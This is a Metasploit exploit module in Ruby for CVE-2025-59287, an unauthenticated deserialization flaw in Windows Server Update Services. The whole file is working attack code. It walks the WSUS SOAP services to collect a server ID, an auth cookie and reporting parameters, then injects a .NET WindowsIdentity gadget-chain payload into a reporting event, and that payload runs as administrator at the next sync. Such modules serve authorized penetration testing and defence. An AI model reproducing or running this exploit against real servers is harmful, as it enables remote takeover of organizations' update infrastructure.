📄 Windows Server Update Service Deserialization Remote Code Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = GreatRanking
    
      include Exploit::Remote::HttpClient
      include Msf::Util::DotNetDeserialization
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Windows Server Update Service Deserialization Remote Code Execution',
            'Description' => %q{
              This module exploits deserialization vulnerability in legacy serialization mechanism in Windows Server Update Services (WSUS). The vulnerability allows unauthenticated attacker to create specially crafted event, which triggers unsafe deserialization upon server synchronization. The module does not require any other options and upon successful exploitation, the payload is executed in context of administrator.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'mwulftange', # security research
              'msutovsky-r7' # module development
            ],
            'References' => [
              [ 'ATT&CK', Mitre::Attack::Technique::T1190_EXPLOIT_PUBLIC_FACING_APPLICATION],
              [ 'URL', 'https://code-white.com/blog/wsus-cve-2025-59287-analysis/'],
              [ 'CVE', '2025-59287']
            ],
            'Arch' => ARCH_CMD,
            'Platform' => 'win',
            'DefaultOptions' => {
              'RPORT' => '8530',
              'WfsDelay' => 900 # need to wait for WSUS to try synchronize
            },
            'Targets' => [
              [ 'Windows', {}]
            ],
    
            'DisclosureDate' => '2025-10-14',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SERVICE_RESTARTS],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS]
            }
          )
        )
      end
    
      def get_soap_response_xml(path, soap_action, data)
        res = send_request_cgi({
          'uri' => path,
          'method' => 'POST',
          'headers' => {
            'SOAPAction' => soap_action
          },
          'ctype' => 'text/xml',
          'data' => data
        })
    
        fail_with(Failure::UnexpectedReply, 'Received unexpected response from WSUS') unless res&.code == 200
        xml = res.get_xml_document
        xml.remove_namespaces!
        xml
      end
    
      def get_server_id
        soap_body = <<~XML
          <?xml version="1.0" encoding="utf-8"?>
          <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
          <soap:Body>
          <GetRollupConfiguration xmlns="http://www.microsoft.com/SoftwareDistribution">
          <cookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
          </GetRollupConfiguration>
          </soap:Body>
          </soap:Envelope>
        XML
    
        xml = get_soap_response_xml(normalize_uri('ReportingWebService', 'ReportingWebService.asmx'), 'http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration', soap_body)
    
        @server_id = xml.xpath('//ServerId').text.to_s
    
        fail_with(Failure::Unknown, 'Failed to get server ID') unless @server_id
      end
    
      def get_auth_cookie
        soap_body = <<~XML
          <?xml version="1.0" encoding="utf-8"?>
          <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
          <soap:Body>
          <GetAuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService">
          <clientId>#{@server_id}</clientId>
          <targetGroupName></targetGroupName>
          <dnsName>#{Rex::Text.rand_text_alpha_lower(4..8)}</dnsName>
          </GetAuthorizationCookie>
          </soap:Body>
          </soap:Envelope>
        XML
    
        xml = get_soap_response_xml(normalize_uri('SimpleAuthWebService', 'SimpleAuth.asmx'), 'http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie', soap_body)
    
        @auth_cookie = xml.xpath('//CookieData').text.to_s
        @plugin_id = xml.xpath('//PlugInId').text.to_s
        fail_with(Failure::Unknown, 'Failed to get authentication cookie') unless @auth_cookie && @plugin_id
      end
    
      def get_reporting_parameters
        timenow = Time.now.strftime('%Y-%m-%dT%H:%M:%SZ')
    
        soap_body = <<~XML
          <?xml version="1.0" encoding="utf-8"?>
          <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
          <soap:Body>
          <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
          <authCookies>
          <AuthorizationCookie>
          <PlugInId>#{@plugin_id}</PlugInId>
          <CookieData>#{@auth_cookie}</CookieData>
          </AuthorizationCookie>
          </authCookies>
          <oldCookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
          <lastChange>#{timenow}</lastChange>
          <currentTime>#{timenow}</currentTime>
          <protocolVersion>1.20</protocolVersion>
          </GetCookie>
          </soap:Body>
          </soap:Envelope>
        XML
    
        xml = get_soap_response_xml(normalize_uri('ClientWebService', 'Client.asmx'), 'http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie', soap_body)
    
        @encrypted_data = xml.xpath('//EncryptedData').text.to_s
        @expiration = xml.xpath('//Expiration').text.to_s
    
        fail_with(Failure::Unknown, 'Failed to get reporting parameters') unless @encrypted_data && @expiration
      end
    
      def create_malicious_event
        timenow = Time.now.strftime('%Y-%m-%dT%H:%M:%SZ')
        payload_data = ::Msf::Util::DotNetDeserialization.generate(
          payload.encoded,
          gadget_chain: :WindowsIdentity,
          formatter: :SoapFormatter
        )
    
        soap_body = <<~XML
          <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
          <soap:Body>
          <ReportEventBatch xmlns="http://www.microsoft.com/SoftwareDistribution">
          <cookie>
          <Expiration>#{@expiration}</Expiration>
          <EncryptedData>#{@encrypted_data}</EncryptedData>
          </cookie>
          <clientTime>#{timenow}</clientTime>
          <eventBatch xmlns:q1="http://www.microsoft.com/SoftwareDistribution" soapenc:arrayType="q1:ReportingEvent[1]">
          <ReportingEvent>
          <BasicData>
          <TargetID>
          <Sid>#{SecureRandom.uuid.strip}</Sid>
          </TargetID>
          <SequenceNumber>0</SequenceNumber>
          <TimeAtTarget>#{timenow}</TimeAtTarget>
          <EventInstanceID>#{SecureRandom.uuid.strip}</EventInstanceID>
          <NamespaceID>2</NamespaceID>
          <EventID>389</EventID>
          <SourceID>301</SourceID>
          <UpdateID>
          <UpdateID>#{SecureRandom.uuid.strip}</UpdateID>
          <RevisionNumber>0</RevisionNumber>
          </UpdateID>
          <Win32HResult>0</Win32HResult>
          <AppName>#{Rex::Text.rand_text_alpha_lower(4..8)}</AppName>
          </BasicData>
          <ExtendedData>
          <MiscData soapenc:arrayType="xsd:string[2]">
          <string>Administrator=SYSTEM</string>
          <string>SynchronizationUpdateErrorsKey=#{Rex::Text.html_encode(payload_data)}</string>
          </MiscData>
          </ExtendedData>
          <PrivateData>
          <ComputerDnsName></ComputerDnsName>
          <UserAccountName></UserAccountName>
          </PrivateData>
          </ReportingEvent>
          </eventBatch>
          </ReportEventBatch>
          </soap:Body>
          </soap:Envelope>
        XML
    
        xml = get_soap_response_xml(normalize_uri('ReportingWebService', 'ReportingWebService.asmx'), 'http://www.microsoft.com/SoftwareDistribution/ReportEventBatch', soap_body)
    
        fail_with(Failure::PayloadFailed, 'Failed to create malicious report, target might be not vulnerable') unless xml.xpath('//ReportEventBatchResult').text.to_s == 'true'
      end
    
      ##
      # Could not find better way to check if target is running vulnerable WSUS, leaving it for now with checking for presence of WSUS
      ##
      def check
        res = send_request_cgi({
          'method' => 'GET'
        })
        return CheckCode::Safe('Target does not run WSUS') unless res&.code == 200 && res.headers['Server'] == 'Microsoft-IIS/10.0'
    
        CheckCode::Detected('Target is probably running WSUS')
      end
    
      def exploit
        vprint_status('Getting server ID')
        get_server_id
        vprint_status('Getting authentication cookie')
        get_auth_cookie
        vprint_status('Getting reporting cookie')
        get_reporting_parameters
        vprint_status('Trying to create malicious event')
        create_malicious_event
        vprint_status('Created malicious event, now waiting for WSUS to sync')
      end
    end